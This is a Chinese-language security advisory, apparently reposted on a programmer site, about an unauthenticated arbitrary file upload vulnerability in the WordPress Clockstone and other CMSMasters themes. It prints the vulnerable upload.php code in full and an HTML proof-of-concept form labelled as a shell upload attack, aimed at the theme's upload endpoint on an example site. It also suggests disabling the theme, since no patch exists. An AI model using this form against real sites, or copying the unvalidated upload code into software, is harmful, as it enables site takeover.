好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

WordPress多个CMSMasters主题'upload.php'任意文件

漏洞 版本:cmsmasters Clockstone

 

 

Clockstone是Wordpress的终极主题,一个单一的主题内集合了众多功能。

 

WordPress的Clockstone主题和其他主题存在文件上传漏洞。存在该漏洞的原因是由于问题代码对已登录的用户没有进行身份验证操作。攻击者可通过上传任意文件到受害者站点,进而获取站点的访问权限。

 

主题内有漏洞的代码:

 

##############################################################

#   <?php

#

#   if ($_POST['url']){ $uploaddir = $_POST['url']; }

#

#   $first_filename = $_FILES['uploadfile']['name'];

#

#   $filename = md5($first_filename);

#

#   $ext = substr($first_filename, 1 + strrpos($first_filename, '.'));

#

#   $file = $uploaddir . basename($filename.'.'.$ext);

#

#   if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)){

#       echo basename($filename.'.'.$ext);

#   } else {

#       echo 'error';

#   }

#

#   ?>

测试:

 

 

##############################################################

#   Shell upload attack:<br />

#   <form enctype="multipart/form-data" action="http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php" method="post">

#   <input type="text" name="url" value="./" /><br />

#   Please choose a file: <input name="uploadfile" type="file" /><br />

#   <input type="submit" value="Upload" />

#   </form>

##############################################################

 

临时解决方法:

 

如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:

 

* 禁用CMSMasters主题

 

厂商补丁:

 

cmsmasters

----------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

 

查看更多关于WordPress多个CMSMasters主题'upload.php'任意文件的详细内容...

  阅读:55次